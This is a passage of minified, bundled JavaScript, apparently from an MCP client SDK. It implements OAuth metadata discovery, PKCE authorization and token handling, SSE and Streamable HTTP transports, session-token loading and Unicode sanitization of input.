:qW,registration_endpoint:qW.optional(),scopes_supported:b4(U1()).optional(),response_types_supported:b4(U1()),response_modes_supported:b4(U1()).optional(),grant_types_supported:b4(U1()).optional(),acr_values_supported:b4(U1()).optional(),subject_types_supported:b4(U1()),id_token_signing_alg_values_supported:b4(U1()),id_token_encryption_alg_values_supported:b4(U1()).optional(),id_token_encryption_enc_values_supported:b4(U1()).optional(),userinfo_signing_alg_values_supported:b4(U1()).optional(),userinfo_encryption_alg_values_supported:b4(U1()).optional(),userinfo_encryption_enc_values_supported:b4(U1()).optional(),request_object_signing_alg_values_supported:b4(U1()).optional(),request_object_encryption_alg_values_supported:b4(U1()).optional(),request_object_encryption_enc_values_supported:b4(U1()).optional(),token_endpoint_auth_methods_supported:b4(U1()).optional(),token_endpoint_auth_signing_alg_values_supported:b4(U1()).optional(),display_values_supported:b4(U1()).optional(),claim_types_supported:b4(U1()).optional(),claims_supported:b4(U1()).optional(),service_documentation:U1().optional(),claims_locales_supported:b4(U1()).optional(),ui_locales_supported:b4(U1()).optional(),claims_parameter_supported:mz().optional(),request_parameter_supported:mz().optional(),request_uri_parameter_supported:mz().optional(),require_request_uri_registration:mz().optional(),op_policy_uri:qW.optional(),op_tos_uri:qW.optional(),client_id_metadata_document_supported:mz().optional()}),zJ7=w4({...NDY.shape,...RW6.pick({code_challenge_methods_supported:!0}).shape}),wJ7=w4({access_token:U1(),id_token:U1().optional(),token_type:U1(),expires_in:pEA.number().optional(),scope:U1().optional(),refresh_token:U1().optional()}).strip(),d01=w4({error:U1(),error_description:U1().optional(),error_uri:U1().optional()}),qJ7=qW.optional().or(AK("").transform(()=>{return})),TDY=w4({redirect_uris:b4(qW),token_endpoint_auth_method:U1().optional(),grant_types:b4(U1()).optional(),response_types:b4(U1()).optional(),client_name:U1().optional(),client_uri:qW.optional(),logo_uri:qJ7,scope:U1().optional(),contacts:b4(U1()).optional(),tos_uri:qJ7,policy_uri:U1().optional(),jwks_uri:qW.optional(),jwks:Mp1().optional(),software_id:U1().optional(),software_version:U1().optional(),software_statement:U1().optional()}).strip(),vDY=w4({client_id:U1(),client_secret:U1().optional(),client_id_issued_at:iY().optional(),client_secret_expires_at:iY().optional()}).strip(),HJ7=TDY.merge(vDY),y1H=w4({error:U1(),error_description:U1().optional()}).strip(),I1H=w4({token:U1(),token_type_hint:U1().optional()}).strip()});function JJ7(A){let K=typeof A==="string"?new URL(A):new URL(A.href);return K.hash="",K}function OJ7({requestedResource:A,configuredResource:K}){let q=typeof A==="string"?new URL(A):new URL(A.href),Y=typeof K==="string"?new URL(K):new URL(K.href);if(q.origin!==Y.origin)return!1;if(q.pathname.length<Y.pathname.length)return!1;let z=q.pathname.endsWith("/")?q.pathname:q.pathname+"/",w=Y.pathname.endsWith("/")?Y.pathname:Y.pathname+"/";return z.startsWith(w)}var G$,l01,OZA,XZA,$ZA,i01,n01,r01,du,_ZA,o01,a01,s01,t01,GZA,ZZA,e01,AX1,XJ7;var yW6=k(()=>{G$=class G$ extends Error{constructor(A,K){super(A);this.errorUri=K,this.name=this.constructor.name}toResponseObject(){let A={error:this.errorCode,error_description:this.message};if(this.errorUri)A.error_uri=this.errorUri;return A}get errorCode(){return this.constructor.errorCode}};l01=class l01 extends G${};l01.errorCode="invalid_request";OZA=class OZA extends G${};OZA.errorCode="invalid_client";XZA=class XZA extends G${};XZA.errorCode="invalid_grant";$ZA=class $ZA extends G${};$ZA.errorCode="unauthorized_client";i01=class i01 extends G${};i01.errorCode="unsupported_grant_type";n01=class n01 extends G${};n01.errorCode="invalid_scope";r01=class r01 extends G${};r01.errorCode="access_denied";du=class du extends G${};du.errorCode="server_error";_ZA=class _ZA extends G${};_ZA.errorCode="temporarily_unavailable";o01=class o01 extends G${};o01.errorCode="unsupported_response_type";a01=class a01 extends G${};a01.errorCode="unsupported_token_type";s01=class s01 extends G${};s01.errorCode="invalid_token";t01=class t01 extends G${};t01.errorCode="method_not_allowed";GZA=class GZA extends G${};GZA.errorCode="too_many_requests";ZZA=class ZZA extends G${};ZZA.errorCode="invalid_client_metadata";e01=class e01 extends G${};e01.errorCode="insufficient_scope";AX1=class AX1 extends G${};AX1.errorCode="invalid_target";XJ7={[l01.errorCode]:l01,[OZA.errorCode]:OZA,[XZA.errorCode]:XZA,[$ZA.errorCode]:$ZA,[i01.errorCode]:i01,[n01.errorCode]:n01,[r01.errorCode]:r01,[du.errorCode]:du,[_ZA.errorCode]:_ZA,[o01.errorCode]:o01,[a01.errorCode]:a01,[s01.errorCode]:s01,[t01.errorCode]:t01,[GZA.errorCode]:GZA,[ZZA.errorCode]:ZZA,[e01.errorCode]:e01,[AX1.errorCode]:AX1}});function EDY(A){return["client_secret_basic","client_secret_post","none"].includes(A)}function kDY(A,K){let q=A.client_secret!==void 0;if(K.length===0)return q?"client_secret_post":"none";if("token_endpoint_auth_method"in A&&A.token_endpoint_auth_method&&EDY(A.token_endpoint_auth_method)&&K.includes(A.token_endpoint_auth_method))return A.token_endpoint_auth_method;if(q&&K.includes("client_secret_basic"))return"client_secret_basic";if(q&&K.includes("client_secret_post"))return"client_secret_post";if(K.includes("none"))return"none";return q?"client_secret_post":"none"}function CDY(A,K,q,Y){let{client_id:z,client_secret:w}=K;switch(A){case"client_secret_basic":LDY(z,w,q);return;case"client_secret_post":RDY(z,w,Y);return;case"none":yDY(z,Y);return;default:throw Error(`Unsupported client authentication method: ${A}`)}}function LDY(A,K,q){if(!K)throw Error("client_secret_basic authentication requires a client_secret");let Y=btoa(`${A}:${K}`);q.set("Authorization",`Basic ${Y}`)}function RDY(A,K,q){if(q.set("client_id",A),K)q.set("client_secret",K)}function yDY(A,K){K.set("client_id",A)}async function _J7(A){let K=A instanceof Response?A.status:void 0,q=A instanceof Response?await A.text():A;try{let Y=d01.parse(JSON.parse(q)),{error:z,error_description:w,error_uri:H}=Y;return new(XJ7[z]||du)(w||"",H)}catch(Y){let z=`${K?`HTTP ${K}: `:""}Invalid OAuth error response: ${Y}. Raw body: ${q}`;return new du(z)}}async function SC(A,K){var q,Y;try{return await hW6(A,K)}catch(z){if(z instanceof OZA||z instanceof $ZA)return await((q=A.invalidateCredentials)===null||q===void 0?void 0:q.call(A,"all")),await hW6(A,K);else if(z instanceof XZA)return await((Y=A.invalidateCredentials)===null||Y===void 0?void 0:Y.call(A,"tokens")),await hW6(A,K);throw z}}async function hW6(A,{serverUrl:K,authorizationCode:q,scope:Y,resourceMetadataUrl:z,fetchFn:w}){var H,J;let O,X;try{if(O=await hDY(K,{resourceMetadataUrl:z},w),O.authorization_servers&&O.authorization_servers.length>0)X=O.authorization_servers[0]}catch(P){}if(!X)X=new URL("/",K);let $=await SDY(K,A,O),_=await QuA(X,{fetchFn:w}),G=await Promise.resolve(A.clientInformation());if(!G){if(q!==void 0)throw Error("Existing OAuth client information is required when exchanging an authorization code");let P=(_===null||_===void 0?void 0:_.client_id_metadata_document_supported)===!0,f=A.clientMetadataUrl;if(f&&!IDY(f))throw new ZZA(`clientMetadataUrl must be a valid HTTPS URL with a non-root pathname, got: ${f}`);if(P&&f)G={client_id:f},await((H=A.saveClientInformation)===null||H===void 0?void 0:H.call(A,G));else{if(!A.saveClientInformation)throw Error("OAuth client information must be saveable for dynamic registration");let T=await QDY(X,{metadata:_,clientMetadata:A.clientMetadata,fetchFn:w});await A.saveClientInformation(T),G=T}}let Z=!A.redirectUrl;if(q!==void 0||Z){let P=await FDY(A,X,{metadata:_,resource:$,authorizationCode:q,fetchFn:w});return await A.saveTokens(P),"AUTHORIZED"}let W=await A.tokens();if(W===null||W===void 0?void 0:W.refresh_token)try{let P=await uW6(X,{metadata:_,clientInformation:G,refreshToken:W.refresh_token,resource:$,addClientAuthentication:A.addClientAuthentication,fetchFn:w});return await A.saveTokens(P),"AUTHORIZED"}catch(P){if(!(P instanceof G$)||P instanceof du);else throw P}let D=A.state?await A.state():void 0,{authorizationUrl:j,codeVerifier:M}=await mDY(X,{metadata:_,clientInformation:G,state:D,redirectUrl:A.redirectUrl,scope:Y||((J=O===null||O===void 0?void 0:O.scopes_supported)===null||J===void 0?void 0:J.join(" "))||A.clientMetadata.scope,resource:$});return await A.saveCodeVerifier(M),await A.redirectToAuthorization(j),"REDIRECT"}function IDY(A){if(!A)return!1;try{let K=new URL(A);return K.protocol==="https:"&&K.pathname!=="/"}catch(K){return!1}}async function SDY(A,K,q){let Y=JJ7(A);if(K.validateResourceURL)return await K.validateResourceURL(Y,q===null||q===void 0?void 0:q.resource);if(!q)return;if(!OJ7({requestedResource:Y,configuredResource:q.resource}))throw Error(`Protected resource ${q.resource} does not match expected ${Y} (or origin)`);return new URL(q.resource)}function WZA(A){let K=A.headers.get("WWW-Authenticate");if(!K)return{};let[q,Y]=K.split(" ");if(q.toLowerCase()!=="bearer"||!Y)return{};let z=bW6(A,"resource_metadata")||void 0,w;if(z)try{w=new URL(z)}catch(O){}let H=bW6(A,"scope")||void 0,J=bW6(A,"error")||void 0;return{resourceMetadataUrl:w,scope:H,error:J}}function bW6(A,K){let q=A.headers.get("WWW-Authenticate");if(!q)return null;let Y=new RegExp(`${K}=(?:"([^"]+)"|([^\\s,]+))`),z=q.match(Y);if(z)return z[1]||z[2];return null}async function hDY(A,K,q=fetch){var Y,z;let w=await uDY(A,"oauth-protected-resource",q,{protocolVersion:K===null||K===void 0?void 0:K.protocolVersion,metadataUrl:K===null||K===void 0?void 0:K.resourceMetadataUrl});if(!w||w.status===404)throw await((Y=w===null||w===void 0?void 0:w.body)===null||Y===void 0?void 0:Y.cancel()),Error("Resource server does not implement OAuth 2.0 Protected Resource Metadata.");if(!w.ok)throw await((z=w.body)===null||z===void 0?void 0:z.cancel()),Error(`HTTP ${w.status} trying to load well-known OAuth protected resource metadata.`);return YJ7.parse(await w.json())}async function xW6(A,K,q=fetch){try{return await q(A,{headers:K})}catch(Y){if(Y instanceof TypeError)if(K)return xW6(A,void 0,q);else return;throw Y}}function bDY(A,K="",q={}){if(K.endsWith("/"))K=K.slice(0,-1);return q.prependPathname?`${K}/.well-known/${A}`:`/.well-known/${A}${K}`}async function $J7(A,K,q=fetch){return await xW6(A,{"MCP-Protocol-Version":K},q)}function xDY(A,K){return!A||A.status>=400&&A.status<500&&K!=="/"}async function uDY(A,K,q,Y){var z,w;let H=new URL(A),J=(z=Y===null||Y===void 0?void 0:Y.protocolVersion)!==null&&z!==void 0?z:Ha,O;if(Y===null||Y===void 0?void 0:Y.metadataUrl)O=new URL(Y.metadataUrl);else{let $=bDY(K,H.pathname);O=new URL($,(w=Y===null||Y===void 0?void 0:Y.metadataServerUrl)!==null&&w!==void 0?w:H),O.search=H.search}let X=await $J7(O,J,q);if(!(Y===null||Y===void 0?void 0:Y.metadataUrl)&&xDY(X,H.pathname)){let $=new URL(`/.well-known/${K}`,H);X=await $J7($,J,q)}return X}function BDY(A){let K=typeof A==="string"?new URL(A):A,q=K.pathname!=="/",Y=[];if(!q)return Y.push({url:new URL("/.well-known/oauth-authorization-server",K.origin),type:"oauth"}),Y.push({url:new URL("/.well-known/openid-configuration",K.origin),type:"oidc"}),Y;let z=K.pathname;if(z.endsWith("/"))z=z.slice(0,-1);return Y.push({url:new URL(`/.well-known/oauth-authorization-server${z}`,K.origin),type:"oauth"}),Y.push({url:new URL(`/.well-known/openid-configuration${z}`,K.origin),type:"oidc"}),Y.push({url:new URL(`${z}/.well-known/openid-configuration`,K.origin),type:"oidc"}),Y}async function QuA(A,{fetchFn:K=fetch,protocolVersion:q=Ha}={}){var Y;let z={"MCP-Protocol-Version":q,Accept:"application/json"},w=BDY(A);for(let{url:H,type:J}of w){let O=await xW6(H,z,K);if(!O)continue;if(!O.ok){if(await((Y=O.body)===null||Y===void 0?void 0:Y.cancel()),O.status>=400&&O.status<500)continue;throw Error(`HTTP ${O.status} trying to load ${J==="oauth"?"OAuth":"OpenID provider"} metadata from ${H}`)}if(J==="oauth")return RW6.parse(await O.json());else return zJ7.parse(await O.json())}return}async function mDY(A,{metadata:K,clientInformation:q,redirectUrl:Y,scope:z,state:w,resource:H}){let J;if(K){if(J=new URL(K.authorization_endpoint),!K.response_types_supported.includes(IW6))throw Error(`Incompatible auth server: does not support response type ${IW6}`);if(K.code_challenge_methods_supported&&!K.code_challenge_methods_supported.includes(SW6))throw Error(`Incompatible auth server: does not support code challenge method ${SW6}`)}else J=new URL("/authorize",A);let O=await LW6(),X=O.code_verifier,$=O.code_challenge;if(J.searchParams.set("response_type",IW6),J.searchParams.set("client_id",q.client_id),J.searchParams.set("code_challenge",$),J.searchParams.set("code_challenge_method",SW6),J.searchParams.set("redirect_uri",String(Y)),w)J.searchParams.set("state",w);if(z)J.searchParams.set("scope",z);if(z===null||z===void 0?void 0:z.includes("offline_access"))J.searchParams.append("prompt","consent");if(H)J.searchParams.set("resource",H.href);return{authorizationUrl:J,codeVerifier:X}}function gDY(A,K,q){return new URLSearchParams({grant_type:"authorization_code",code:A,code_verifier:K,redirect_uri:String(q)})}async function GJ7(A,{metadata:K,tokenRequestParams:q,clientInformation:Y,addClientAuthentication:z,resource:w,fetchFn:H}){var J;let O=(K===null||K===void 0?void 0:K.token_endpoint)?new URL(K.token_endpoint):new URL("/token",A),X=new Headers({"Content-Type":"application/x-www-form-urlencoded",Accept:"application/json"});if(w)q.set("resource",w.href);if(z)await z(X,q,O,K);else if(Y){let _=(J=K===null||K===void 0?void 0:K.token_endpoint_auth_methods_supported)!==null&&J!==void 0?J:[],G=kDY(Y,_);CDY(G,Y,X,q)}let $=await(H!==null&&H!==void 0?H:fetch)(O,{method:"POST",headers:X,body:q});if(!$.ok)throw await _J7($);return wJ7.parse(await $.json())}async function uW6(A,{metadata:K,clientInformation:q,refreshToken:Y,resource:z,addClientAuthentication:w,fetchFn:H}){let J=new URLSearchParams({grant_type:"refresh_token",refresh_token:Y}),O=await GJ7(A,{metadata:K,tokenRequestParams:J,clientInformation:q,addClientAuthentication:w,resource:z,fetchFn:H});return{refresh_token:Y,...O}}async function FDY(A,K,{metadata:q,resource:Y,authorizationCode:z,fetchFn:w}={}){let H=A.clientMetadata.scope,J;if(A.prepareTokenRequest)J=await A.prepareTokenRequest(H);if(!J){if(!z)throw Error("Either provider.prepareTokenRequest() or authorizationCode is required");if(!A.redirectUrl)throw Error("redirectUrl is required for authorization_code flow");let X=await A.codeVerifier();J=gDY(z,X,A.redirectUrl)}let O=await A.clientInformation();return GJ7(K,{metadata:q,tokenRequestParams:J,clientInformation:O!==null&&O!==void 0?O:void 0,addClientAuthentication:A.addClientAuthentication,resource:Y,fetchFn:w})}async function QDY(A,{metadata:K,clientMetadata:q,fetchFn:Y}){let z;if(K){if(!K.registration_endpoint)throw Error("Incompatible auth server: does not support dynamic client registration");z=new URL(K.registration_endpoint)}else z=new URL("/register",A);let w=await(Y!==null&&Y!==void 0?Y:fetch)(z,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(q)});if(!w.ok)throw await _J7(w);return HJ7.parse(await w.json())}var vG,IW6="code",SW6="S256";var UuA=k(()=>{KJ7();G_();c01();c01();yW6();vG=class vG extends Error{constructor(A){super(A!==null&&A!==void 0?A:"Unauthorized")}}});class KX1{constructor(A,K){this._url=A,this._resourceMetadataUrl=void 0,this._scope=void 0,this._eventSourceInit=K===null||K===void 0?void 0:K.eventSourceInit,this._requestInit=K===null||K===void 0?void 0:K.requestInit,this._authProvider=K===null||K===void 0?void 0:K.authProvider,this._fetch=K===null||K===void 0?void 0:K.fetch,this._fetchWithInit=WqA(K===null||K===void 0?void 0:K.fetch,K===null||K===void 0?void 0:K.requestInit)}async _authThenStart(){var A;if(!this._authProvider)throw new vG("No auth provider");let K;try{K=await SC(this._authProvider,{serverUrl:this._url,resourceMetadataUrl:this._resourceMetadataUrl,scope:this._scope,fetchFn:this._fetchWithInit})}catch(q){throw(A=this.onerror)===null||A===void 0||A.call(this,q),q}if(K!=="AUTHORIZED")throw new vG;return await this._startOrAuth()}async _commonHeaders(){var A;let K={};if(this._authProvider){let Y=await this._authProvider.tokens();if(Y)K.Authorization=`Bearer ${Y.access_token}`}if(this._protocolVersion)K["mcp-protocol-version"]=this._protocolVersion;let q=JZA((A=this._requestInit)===null||A===void 0?void 0:A.headers);return new Headers({...K,...q})}_startOrAuth(){var A,K,q;let Y=(q=(K=(A=this===null||this===void 0?void 0:this._eventSourceInit)===null||A===void 0?void 0:A.fetch)!==null&&K!==void 0?K:this._fetch)!==null&&q!==void 0?q:fetch;return new Promise((z,w)=>{this._eventSource=new HZA(this._url.href,{...this._eventSourceInit,fetch:async(H,J)=>{let O=await this._commonHeaders();O.set("Accept","text/event-stream");let X=await Y(H,{...J,headers:O});if(X.status===401&&X.headers.has("www-authenticate")){let{resourceMetadataUrl:$,scope:_}=WZA(X);this._resourceMetadataUrl=$,this._scope=_}return X}}),this._abortController=new AbortController,this._eventSource.onerror=(H)=>{var J;if(H.code===401&&this._authProvider){this._authThenStart().then(z,w);return}let O=new ZJ7(H.code,H.message,H);w(O),(J=this.onerror)===null||J===void 0||J.call(this,O)},this._eventSource.onopen=()=>{},this._eventSource.addEventListener("endpoint",(H)=>{var J;let O=H;try{if(this._endpoint=new URL(O.data,this._url),this._endpoint.origin!==this._url.origin)throw Error(`Endpoint origin does not match connection origin: ${this._endpoint.origin}`)}catch(X){w(X),(J=this.onerror)===null||J===void 0||J.call(this,X),this.close();return}z()}),this._eventSource.onmessage=(H)=>{var J,O;let X=H,$;try{$=Fu.parse(JSON.parse(X.data))}catch(_){(J=this.onerror)===null||J===void 0||J.call(this,_);return}(O=this.onmessage)===null||O===void 0||O.call(this,$)}})}async start(){if(this._eventSource)throw Error("SSEClientTransport already started! If using Client class, note that connect() calls start() automatically.");return await this._startOrAuth()}async finishAuth(A){if(!this._authProvider)throw new vG("No auth provider");if(await SC(this._authProvider,{serverUrl:this._url,authorizationCode:A,resourceMetadataUrl:this._resourceMetadataUrl,scope:this._scope,fetchFn:this._fetchWithInit})!=="AUTHORIZED")throw new vG("Failed to authorize")}async close(){var A,K,q;(A=this._abortController)===null||A===void 0||A.abort(),(K=this._eventSource)===null||K===void 0||K.close(),(q=this.onclose)===null||q===void 0||q.call(this)}async send(A){var K,q,Y;if(!this._endpoint)throw Error("Not connected");try{let z=await this._commonHeaders();z.set("content-type","application/json");let w={...this._requestInit,method:"POST",headers:z,body:JSON.stringify(A),signal:(K=this._abortController)===null||K===void 0?void 0:K.signal},H=await((q=this._fetch)!==null&&q!==void 0?q:fetch)(this._endpoint,w);if(!H.ok){let J=await H.text().catch(()=>null);if(H.status===401&&this._authProvider){let{resourceMetadataUrl:O,scope:X}=WZA(H);if(this._resourceMetadataUrl=O,this._scope=X,await SC(this._authProvider,{serverUrl:this._url,resourceMetadataUrl:this._resourceMetadataUrl,scope:this._scope,fetchFn:this._fetchWithInit})!=="AUTHORIZED")throw new vG;return this.send(A)}throw Error(`Error POSTing to endpoint (HTTP ${H.status}): ${J}`)}}catch(z){throw(Y=this.onerror)===null||Y===void 0||Y.call(this,z),z}}setProtocolVersion(A){this._protocolVersion=A}}var ZJ7;var WJ7=k(()=>{AJ7();G_();UuA();ZJ7=class ZJ7 extends Error{constructor(A,K,q){super(`SSE error: ${K}`);this.code=A,this.event=q}}});var BW6;var DJ7=k(()=>{DW6();BW6=class BW6 extends TransformStream{constructor({onError:A,onRetry:K,onComment:q}={}){let Y;super({start(z){Y=Q01({onEvent:(w)=>{z.enqueue(w)},onError(w){A==="terminate"?z.error(w):typeof A=="function"&&A(w)},onRetry:K,onComment:q})},transform(z){Y.feed(z)}})}}});class qX1{constructor(A,K){var q;this._hasCompletedAuthFlow=!1,this._url=A,this._resourceMetadataUrl=void 0,this._scope=void 0,this._requestInit=K===null||K===void 0?void 0:K.requestInit,this._authProvider=K===null||K===void 0?void 0:K.authProvider,this._fetch=K===null||K===void 0?void 0:K.fetch,this._fetchWithInit=WqA(K===null||K===void 0?void 0:K.fetch,K===null||K===void 0?void 0:K.requestInit),this._sessionId=K===null||K===void 0?void 0:K.sessionId,this._reconnectionOptions=(q=K===null||K===void 0?void 0:K.reconnectionOptions)!==null&&q!==void 0?q:UDY}async _authThenStart(){var A;if(!this._authProvider)throw new vG("No auth provider");let K;try{K=await SC(this._authProvider,{serverUrl:this._url,resourceMetadataUrl:this._resourceMetadataUrl,scope:this._scope,fetchFn:this._fetchWithInit})}catch(q){throw(A=this.onerror)===null||A===void 0||A.call(this,q),q}if(K!=="AUTHORIZED")throw new vG;return await this._startOrAuthSse({resumptionToken:void 0})}async _commonHeaders(){var A;let K={};if(this._authProvider){let Y=await this._authProvider.tokens();if(Y)K.Authorization=`Bearer ${Y.access_token}`}if(this._sessionId)K["mcp-session-id"]=this._sessionId;if(this._protocolVersion)K["mcp-protocol-version"]=this._protocolVersion;let q=JZA((A=this._requestInit)===null||A===void 0?void 0:A.headers);return new Headers({...K,...q})}async _startOrAuthSse(A){var K,q,Y,z;let{resumptionToken:w}=A;try{let H=await this._commonHeaders();if(H.set("Accept","text/event-stream"),w)H.set("last-event-id",w);let J=await((K=this._fetch)!==null&&K!==void 0?K:fetch)(this._url,{method:"GET",headers:H,signal:(q=this._abortController)===null||q===void 0?void 0:q.signal});if(!J.ok){if(await((Y=J.body)===null||Y===void 0?void 0:Y.cancel()),J.status===401&&this._authProvider)return await this._authThenStart();if(J.status===405)return;throw new DqA(J.status,`Failed to open SSE stream: ${J.statusText}`)}this._handleSseStream(J.body,A,!0)}catch(H){throw(z=this.onerror)===null||z===void 0||z.call(this,H),H}}_getNextReconnectionDelay(A){if(this._serverRetryMs!==void 0)return this._serverRetryMs;let K=this._reconnectionOptions.initialReconnectionDelay,q=this._reconnectionOptions.reconnectionDelayGrowFactor,Y=this._reconnectionOptions.maxReconnectionDelay;return Math.min(K*Math.pow(q,A),Y)}_scheduleReconnection(A,K=0){var q;let Y=this._reconnectionOptions.maxRetries;if(K>=Y){(q=this.onerror)===null||q===void 0||q.call(this,Error(`Maximum reconnection attempts (${Y}) exceeded.`));return}let z=this._getNextReconnectionDelay(K);this._reconnectionTimeout=setTimeout(()=>{this._startOrAuthSse(A).catch((w)=>{var H;(H=this.onerror)===null||H===void 0||H.call(this,Error(`Failed to reconnect SSE stream: ${w instanceof Error?w.message:String(w)}`)),this._scheduleReconnection(A,K+1)})},z)}_handleSseStream(A,K,q){if(!A)return;let{onresumptiontoken:Y,replayMessageId:z}=K,w,H=!1,J=!1;(async()=>{var X,$,_,G;try{let Z=A.pipeThrough(new TextDecoderStream).pipeThrough(new BW6({onRetry:(j)=>{this._serverRetryMs=j}})).getReader();while(!0){let{value:j,done:M}=await Z.read();if(M)break;if(j.id)w=j.id,H=!0,Y===null||Y===void 0||Y(j.id);if(!j.data)continue;if(!j.event||j.event==="message")try{let P=Fu.parse(JSON.parse(j.data));if(YqA(P)){if(J=!0,z!==void 0)P.id=z}(X=this.onmessage)===null||X===void 0||X.call(this,P)}catch(P){($=this.onerror)===null||$===void 0||$.call(this,P)}}if((q||H)&&!J&&this._abortController&&!this._abortController.signal.aborted)this._scheduleReconnection({resumptionToken:w,onresumptiontoken:Y,replayMessageId:z},0)}catch(Z){if((_=this.onerror)===null||_===void 0||_.call(this,Error(`SSE stream disconnected: ${Z}`)),(q||H)&&!J&&this._abortController&&!this._abortController.signal.aborted)try{this._scheduleReconnection({resumptionToken:w,onresumptiontoken:Y,replayMessageId:z},0)}catch(j){(G=this.onerror)===null||G===void 0||G.call(this,Error(`Failed to reconnect: ${j instanceof Error?j.message:String(j)}`))}}})()}async start(){if(this._abortController)throw Error("StreamableHTTPClientTransport already started! If using Client class, note that connect() calls start() automatically.");this._abortController=new AbortController}async finishAuth(A){if(!this._authProvider)throw new vG("No auth provider");if(await SC(this._authProvider,{serverUrl:this._url,authorizationCode:A,resourceMetadataUrl:this._resourceMetadataUrl,scope:this._scope,fetchFn:this._fetchWithInit})!=="AUTHORIZED")throw new vG("Failed to authorize")}async close(){var A,K;if(this._reconnectionTimeout)clearTimeout(this._reconnectionTimeout),this._reconnectionTimeout=void 0;(A=this._abortController)===null||A===void 0||A.abort(),(K=this.onclose)===null||K===void 0||K.call(this)}async send(A,K){var q,Y,z,w,H;try{let{resumptionToken:J,onresumptiontoken:O}=K||{};if(J){this._startOrAuthSse({resumptionToken:J,replayMessageId:txA(A)?A.id:void 0}).catch((j)=>{var M;return(M=this.onerror)===null||M===void 0?void 0:M.call(this,j)});return}let X=await this._commonHeaders();X.set("content-type","application/json"),X.set("accept","application/json, text/event-stream");let $={...this._requestInit,method:"POST",headers:X,body:JSON.stringify(A),signal:(q=this._abortController)===null||q===void 0?void 0:q.signal},_=await((Y=this._fetch)!==null&&Y!==void 0?Y:fetch)(this._url,$),G=_.headers.get("mcp-session-id");if(G)this._sessionId=G;if(!_.ok){let j=await _.text().catch(()=>null);if(_.status===401&&this._authProvider){if(this._hasCompletedAuthFlow)throw new DqA(401,"Server returned 401 after successful authentication");let{resourceMetadataUrl:M,scope:P}=WZA(_);if(this._resourceMetadataUrl=M,this._scope=P,await SC(this._authProvider,{serverUrl:this._url,resourceMetadataUrl:this._resourceMetadataUrl,scope:this._scope,fetchFn:this._fetchWithInit})!=="AUTHORIZED")throw new vG;return this._hasCompletedAuthFlow=!0,this.send(A)}if(_.status===403&&this._authProvider){let{resourceMetadataUrl:M,scope:P,error:f}=WZA(_);if(f==="insufficient_scope"){let N=_.headers.get("WWW-Authenticate");if(this._lastUpscopingHeader===N)throw new DqA(403,"Server returned 403 after trying upscoping");if(P)this._scope=P;if(M)this._resourceMetadataUrl=M;if(this._lastUpscopingHeader=N!==null&&N!==void 0?N:void 0,await SC(this._authProvider,{serverUrl:this._url,resourceMetadataUrl:this._resourceMetadataUrl,scope:this._scope,fetchFn:this._fetch})!=="AUTHORIZED")throw new vG;return this.send(A)}}throw new DqA(_.status,`Error POSTing to endpoint: ${j}`)}if(this._hasCompletedAuthFlow=!1,this._lastUpscopingHeader=void 0,_.status===202){if(await((z=_.body)===null||z===void 0?void 0:z.cancel()),a97(A))this._startOrAuthSse({resumptionToken:void 0}).catch((j)=>{var M;return(M=this.onerror)===null||M===void 0?void 0:M.call(this,j)});return}let W=(Array.isArray(A)?A:[A]).filter((j)=>("method"in j)&&("id"in j)&&j.id!==void 0).length>0,D=_.headers.get("content-type");if(W)if(D===null||D===void 0?void 0:D.includes("text/event-stream"))this._handleSseStream(_.body,{onresumptiontoken:O},!1);else if(D===null||D===void 0?void 0:D.includes("application/json")){let j=await _.json(),M=Array.isArray(j)?j.map((P)=>Fu.parse(P)):[Fu.parse(j)];for(let P of M)(w=this.onmessage)===null||w===void 0||w.call(this,P)}else throw new DqA(-1,`Unexpected content type: ${D}`)}catch(J){throw(H=this.onerror)===null||H===void 0||H.call(this,J),J}}get sessionId(){return this._sessionId}async terminateSession(){var A,K,q,Y;if(!this._sessionId)return;try{let z=await this._commonHeaders(),w={...this._requestInit,method:"DELETE",headers:z,signal:(A=this._abortController)===null||A===void 0?void 0:A.signal},H=await((K=this._fetch)!==null&&K!==void 0?K:fetch)(this._url,w);if(await((q=H.body)===null||q===void 0?void 0:q.cancel()),!H.ok&&H.status!==405)throw new DqA(H.status,`Failed to terminate session: ${H.statusText}`);this._sessionId=void 0}catch(z){throw(Y=this.onerror)===null||Y===void 0||Y.call(this,z),z}}setProtocolVersion(A){this._protocolVersion=A}get protocolVersion(){return this._protocolVersion}async resumeStream(A,K){await this._startOrAuthSse({resumptionToken:A,onresumptiontoken:K===null||K===void 0?void 0:K.onresumptiontoken})}}var UDY,DqA;var jJ7=k(()=>{G_();UuA();DJ7();UDY={initialReconnectionDelay:1000,maxReconnectionDelay:30000,reconnectionDelayGrowFactor:1.5,maxRetries:2};DqA=class DqA extends Error{constructor(A,K){super(`Streamable HTTP error: ${K}`);this.code=A}}});function pDY(){let A=Wr6();if(A!==void 0)return A;let K=process.env.CLAUDE_CODE_WEBSOCKET_AUTH_FILE_DESCRIPTOR;if(!K)return OzA(null),null;let q=parseInt(K,10);if(Number.isNaN(q))return h(`CLAUDE_CODE_WEBSOCKET_AUTH_FILE_DESCRIPTOR must be a valid file descriptor number, got: ${K}`,{level:"error"}),OzA(null),null;try{let Y=BA(),z=process.platform==="darwin"||process.platform==="freebsd"?`/dev/fd/${q}`:`/proc/self/fd/${q}`,w=Y.readFileSync(z,{encoding:"utf8"}).trim();if(!w)return h("File descriptor contained empty token",{level:"error"}),OzA(null),null;return h(`Successfully read token from file descriptor ${q}`),OzA(w),w}catch(Y){return h(`Failed to read token from file descriptor ${q}: ${Y instanceof Error?Y.message:String(Y)}`,{level:"error"}),OzA(null),null}}function iT(){let A=process.env.CLAUDE_CODE_SESSION_ACCESS_TOKEN;if(A)return A;return pDY()}var ja=k(()=>{Z1();e6();q6()});function MJ7(A){YX1=A}function mW6(){YX1=null}function PJ7(){YX1?.()}function VJ7(){return YX1!==null}var YX1=null;function dDY(A){let K=A,q="",Y=0,z=10;while(K!==q&&Y<z)q=K,K=K.normalize("NFKC"),K=K.replace(/[\p{Cf}\p{Co}\p{Cn}]/gu,""),K=K.replace(/[\u200B-\u200F]/g,"").replace(/[\u202A-\u202E]/g,"").replace(/[\u2066-\u2069]/g,"").replace(/[\uFEFF]/g,"").replace(/[\uE000-\uF8FF]/g,""),Y++;if(Y>=z)throw Error(`Unicode sanitization reached maximum iterations (${z}) for input: ${A.slice(0,100)}`);return K}function Ma(A){if(typeof A==="string")return dDY(A);if(Array.isArray(A))return A.map(Ma);if(A!==null&&typeof A==="object"){let K={};for(let[q,Y]of Object.entries(A))K[Ma(q)]=Ma(Y);return K}return A}function zX1(){return parseInt(process.env.MAX_MCP_OUTPUT_TOKENS??"25000",10)}function NJ7(A){return 